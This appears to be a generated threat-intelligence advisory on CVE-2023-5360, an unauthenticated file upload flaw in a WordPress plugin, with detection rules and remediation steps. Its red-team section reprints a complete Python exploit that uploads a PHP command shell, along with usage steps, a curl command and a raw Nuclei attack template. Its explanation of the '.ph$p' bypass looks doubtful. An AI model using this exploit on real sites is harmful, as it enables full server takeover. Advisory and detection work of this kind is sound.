CVE-2023-5360
Executive Summary
CVE-2023-5360 is a critical unauthenticated arbitrary file upload vulnerability in the Royal Elementor Addons and Templates WordPress plugin (versions before 1.3.79). The plugin fails to properly validate uploaded files, allowing any unauthenticated attacker to upload arbitrary files, including PHP web shells, leading to Remote Code Execution (RCE) and full site compromise. The vulnerability is actively exploited in the wild, with a high EPSS score (0.93478) and public proof-of-concept (PoC) code available. The CVSS v3.1 base score is 9.8 (Critical).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The supply chain risk is significant because:
- Widespread Adoption: The plugin has over 200,000 active installations.
- Delayed Patching: Many site administrators may not apply the patch promptly, leaving sites vulnerable.
- Automated Exploitation: Public PoC and Nuclei templates enable automated scanning and exploitation.
- Secondary Attacks: Compromised sites can be used for phishing, malware distribution, or as a pivot point for further attacks.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full read access to all data on the server.
- Integrity (I): High (H) – Full write access to all data on the server.
- Availability (A): High (H) – Full control over the server, including the ability to disrupt services.
Threat Level: Critical. The combination of unauthenticated access, low complexity, and public exploit code makes this a high-priority vulnerability for immediate patching.
Deep Dive & Mechanics
The vulnerability resides in the wpr_addons_upload_file AJAX action handler. The plugin does not properly validate the file extension or content type of uploaded files. The upload mechanism is intended for form submissions (e.g., file upload fields in Elementor forms), but it lacks proper server-side validation.
Key Flaw:
- The
allowed_file_typesparameter is sent from the client-side and is not enforced server-side. - The file extension check is bypassed by using a double extension like
.ph$p. The$character is interpreted as a null byte or ignored by some PHP configurations, allowing the file to be saved as.php. - The uploaded file is stored in the
wp-content/uploads/wpr-addons/forms/directory, which is web-accessible.
Attack Flow:
- The attacker sends a GET request to the target WordPress site to retrieve the
WprConfigJavaScript object, which contains a nonce. - The attacker extracts the nonce from the response.
- The attacker sends a POST request to
/wp-admin/admin-ajax.phpwith the actionwpr_addons_upload_file, including a crafted multipart form-data payload containing a PHP shell with a.ph$pextension. - The plugin saves the file to the uploads directory.
- The attacker accesses the uploaded shell directly via its URL to execute arbitrary commands.
Vulnerable vs. Patched Code
Vulnerable Code (version < 1.3.79): The vulnerable code likely resides in the file upload handler. The exact code is not publicly available, but the behavior indicates:
- No server-side validation of file extension.
- No validation of file content (MIME type).
- The
allowed_file_typesparameter is trusted from the client.
Patched Code (version 1.3.79): The patch introduces proper server-side validation:
- File extension is validated against a whitelist of allowed types.
- File content is checked to ensure it matches the expected MIME type.
- The
allowed_file_typesparameter is no longer trusted from the client.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target WordPress site with Royal Elementor Addons <= 1.3.78.
- Python 3 and
requestslibrary.
Exploit Code (from Exploit-DB):
# Exploit Title: WordPress Plugin Royal Elementor Addons <= 1.3.78 - Unauthenticated Arbitrary File Upload (RCE)
# Date: 2025-04-04
# Exploit Author: Sheikh Mohammad Hasan (https://github.com/4m3rr0r)
# Vendor Homepage: https://royal-elementor-addons.com
# Software Link: https://downloads.wordpress.org/plugin/royal-elementor-addons.1.3.78.zip
# Version: <= 1.3.78
# Tested on: WordPress 6.3.1, Royal Elementor Addons 1.3.78, Ubuntu 22.04 + Apache2 + PHP 8.1
# CVE: CVE-2023-5360
# Description:
# The Royal Elementor Addons and Templates WordPress plugin before 1.3.79 does not properly validate uploaded files,
# which allows unauthenticated users to upload arbitrary files (such as .php), leading to Remote Code Execution (RCE).
import requests
import json
import re
import argparse
import tempfile
from urllib.parse import urljoin
from rich.console import Console
requests.packages.urllib3.disable_warnings()
console = Console()
def get_nonce(target):
try:
r = requests.get(target, verify=False, timeout=10)
m = re.search(r'var\s+WprConfig\s*=\s*({.*?});', r.text)
if m:
nonce = json.loads(m.group(1)).get("nonce")
return nonce
except:
pass
return None
def upload_shell(target, nonce, file_path):
ajax_url = urljoin(target, "/wp-admin/admin-ajax.php")
with open(file_path, "rb") as f:
files = {"uploaded_file": ("poc.ph$p", f.read())}
data = {
"action": "wpr_addons_upload_file",
"max_file_size": 0,
"allowed_file_types": "ph$p",
"triggering_event": "click",
"wpr_addons_nonce": nonce
}
try:
r = requests.post(ajax_url, data=data, files=files, verify=False, timeout=10)
if r.status_code == 200 and "url" in r.text:
resp = json.loads(r.text)
return resp["data"]["url"]
except:
pass
return None
def generate_default_shell():
with tempfile.NamedTemporaryFile(delete=False, suffix=".php") as tmp:
shell_code = '<?php echo "Shell by 4m3rr0r - "; system($_GET["cmd"]); ?>'
tmp.write(shell_code.encode())
return tmp.name
def main():
parser = argparse.ArgumentParser(description="Royal Elementor Addons <= 1.3.78 - Unauthenticated Arbitrary File Upload (RCE)")
parser.add_argument("-u", "--url", required=True, help="Target WordPress URL (e.g., https://target.com/)")
parser.add_argument("-f", "--file", help="Custom PHP shell file to upload")
args = parser.parse_args()
console.print("[cyan][*] Getting nonce from WprConfig JS object...[/cyan]")
nonce = get_nonce(args.url)
if not nonce:
console.print("[red][-] Failed to retrieve WprConfig nonce.[/red]")
return
console.print(f"[green][+] Nonce found: {nonce}[/green]")
if args.file:
shell_file = args.file
console.print(f"[cyan][*] Using provided shell: {shell_file}[/cyan]")
else:
console.print("[cyan][*] No shell provided. Creating default RCE shell...[/cyan]")
shell_file = generate_default_shell()
console.print(f"[green][+] Default shell created at: {shell_file}[/green]")
console.print("[cyan][*] Uploading shell...[/cyan]")
uploaded_url = upload_shell(args.url, nonce, shell_file)
if uploaded_url:
console.print(f"[green][+] Shell uploaded successfully: {uploaded_url}[/green]")
if not args.file:
console.print(f"[yellow][>] Access it with: {uploaded_url}?cmd=id[/yellow]")
else:
console.print("[red][-] Upload failed. Target may be patched or not vulnerable.[/red]")
if __name__ == "__main__":
main()
Usage:
- Save the exploit code as
exploit.py. - Install dependencies:
pip install requests rich. - Run:
python exploit.py -u https://target-wordpress-site.com - If successful, the script will output the URL of the uploaded shell.
- Execute commands:
curl "https://target-wordpress-site.com/wp-content/uploads/wpr-addons/forms/shell.php?cmd=id"
Blue Team (Defensive)
Lab Setup for Detection Testing:
- Deploy a vulnerable WordPress instance (e.g., using Docker).
- Install Royal Elementor Addons version 1.3.78.
- Simulate the attack using the exploit script.
- Monitor logs and network traffic.
Detection Points:
- Web Server Logs: Look for POST requests to
/wp-admin/admin-ajax.phpwithaction=wpr_addons_upload_file. - File System: Monitor the
wp-content/uploads/wpr-addons/forms/directory for unexpected.phpfiles. - Network Traffic: Look for multipart form-data uploads containing PHP code.
Indicators of Compromise (IOCs)
| IOC Type | Indicator | Description |
|---|---|---|
| File Path | /wp-content/uploads/wpr-addons/forms/*.php |
Uploaded PHP shells |
| URL Pattern | /wp-admin/admin-ajax.php?action=wpr_addons_upload_file |
AJAX endpoint used for upload |
| Request Body | Content-Disposition: form-data; name="uploaded_file"; filename="*.ph$p" |
Malicious file upload payload |
| Nonce Extraction | var WprConfig = { ... "nonce":"..." } |
Nonce retrieved from page source |
| Network Signature | POST with multipart/form-data containing <?php |
PHP code in upload |
| File Content | <?php or <?= |
PHP opening tags in uploaded files |
Detection Engineering
YARA Rule
rule CVE_2023_5360_Royal_Elementor_Upload {
meta:
description = "Detects PHP webshells uploaded via CVE-2023-5360 vulnerability in Royal Elementor Addons"
author = "Valters IT"
date = "2025-04-04"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-5360"
hash = "d41d8cd98f00b204e9800998ecf8427e"
strings:
$php_tag = "<?php"
$system_call = "system("
$shell_exec = "shell_exec("
$exec_call = "exec("
$passthru = "passthru("
$backtick = "`"
$upload_path = "wpr-addons/forms"
condition:
any of ($php_tag) and 1 of ($system_call, $shell_exec, $exec_call, $passthru, $backtick) and $upload_path
}
Sigma Rule
title: CVE-2023-5360 - Royal Elementor Addons Arbitrary File Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2023-5360 via file upload to wp-admin/admin-ajax.php
author: Valters IT
date: 2025-04-04
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-5360
- https://wpscan.com/vulnerability/281518ff-7816-4007-b712-63aed7828b34
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: POST
cs-uri-stem: /wp-admin/admin-ajax.php
cs-uri-query: action=wpr_addons_upload_file
condition: selection
falsepositives:
- Legitimate file uploads via Elementor forms (rare)
level: critical
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2023-5360 - Royal Elementor Addons Arbitrary File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wpr_addons_upload_file"; http_uri; content:"Content-Disposition|3a| form-data|3b| name=|22|uploaded_file|22|"; http_client_body; content:"filename=|22|"; http_client_body; pcre:"/\.ph\$p\x22/R"; classtype:web-application-attack; sid:1000001; rev:1;)
Nuclei Template (Provided)
id: CVE-2023-5360
info:
name: WordPress Royal Elementor Addons Plugin <= 1.3.78 - Arbitrary File Upload
author: theamanrawat
severity: critical
description: |
Arbitrary File Upload vulnerability in WordPress Royal Elementor Addons Plugin. This could allow a malicious actor to upload any type of file to your website. This can include backdoors which are then executed to gain further access to your website. This vulnerability has been fixed in version 1.3.79
impact: |
Unauthenticated attackers can upload arbitrary files including PHP backdoors to gain complete control of the WordPress site.
remediation: Fixed in 1.3.79
reference:
- https://wordpress.org/plugins/royal-elementor-addons/
- https://wpscan.com/vulnerability/281518ff-7816-4007-b712-63aed7828b34/
- https://nvd.nist.gov/vuln/detail/CVE-2023-5360
- https://wpscan.com/vulnerability/281518ff-7816-4007-b712-63aed7828b34
- http://packetstormsecurity.com/files/175992/WordPress-Royal-Elementor-Addons-And-Templates-Remote-Shell-Upload.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-5360
cwe-id: CWE-434
epss-score: 0.93478
epss-percentile: 0.99826
cpe: cpe:2.3:a:royal-elementor-addons:royal_elementor_addons:*:*:*:*:*:wordpress:*:*
metadata:
verified: "true"
max-request: 3
vendor: royal-elementor-addons
product: royal_elementor_addons
framework: wordpress
shodan-query: http.html:/plugins/royal-elementor-addons/
fofa-query: body=/plugins/royal-elementor-addons/
publicwww-query: "/plugins/royal-elementor-addons/"
tags: wpscan,packetstorm,cve,cve2023,rce,wordpress,wp-plugin,wp,royal-elementor-addons,unauth,intrusive,vkev,vuln
variables:
file: "{{to_lower(rand_text_alpha(5))}}"
string: "CVE-2023-5360"
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-ajax.php?action=wpr_addons_upload_file HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------318949277012917151102295043236
-----------------------------318949277012917151102295043236
Content-Disposition: form-data; name="uploaded_file"; filename="{{file}}.ph$p"
Content-Type: image/png
<?php echo md5("{{string}}");unlink(__FILE__);?>
-----------------------------318949277012917151102295043236
Content-Disposition: form-data; name="allowed_file_types"
ph$p
-----------------------------318949277012917151102295043236
Content-Disposition: form-data; name="triggering_event"
click
-----------------------------318949277012917151102295043236
Content-Disposition: form-data; name="wpr_addons_nonce"
{{nonce}}
-----------------------------318949277012917151102295043236--
- |
GET /wp-content/uploads/wpr-addons/forms/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_3
words:
- '{{md5(string)}}'
extractors:
- type: regex
name: nonce
part: body_1
group: 1
regex:
- 'WprConfig\s*=\s*{[^}]*"nonce"\s*:\s*"([^"]*)"'
internal: true
- type: regex
name: filename
part: body_2
group: 1
regex:
- 'wp-content\\\/uploads\\\/wpr-addons\\\/forms\\\/(.*?).php'
internal: true
# digest: 4b0a00483046022100ea3a77426963c682c8b356b5126fc1c3c23fa02601109e72a831d700f3d15da1022100c518e2b3cd088d3ad3c1a1a5f0645c22e09d91ea6165e11f34427e35d71dd4fd:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Actions:
- Update the Plugin: Upgrade Royal Elementor Addons to version 1.3.79 or later immediately.
- Scan for Compromise: Check the
wp-content/uploads/wpr-addons/forms/directory for any unexpected.phpfiles. Remove any suspicious files. - Review Logs: Examine web server access logs for POST requests to
/wp-admin/admin-ajax.phpwithaction=wpr_addons_upload_file. - Reset Credentials: If compromise is suspected, reset all WordPress admin passwords and API keys.
- Implement WAF Rules: Deploy virtual patching using the Suricata or Sigma rules provided above.
Long-Term Mitigations:
- File Upload Validation: Ensure all file upload functionality validates file extensions, MIME types, and file content server-side.
- Principle of Least Privilege: Restrict file upload directories to prevent execution of uploaded scripts (e.g., via
.htaccessor Nginx config). - Regular Updates: Keep all WordPress plugins, themes, and core updated.
- Security Monitoring: Implement file integrity monitoring (FIM) for critical directories like
wp-content/uploads/.
Report generated by Valters IT DevSecOps & CTI Expert System
{/* [Security Hash: 3B3EB6A95367BDF65A9C9DFB] */}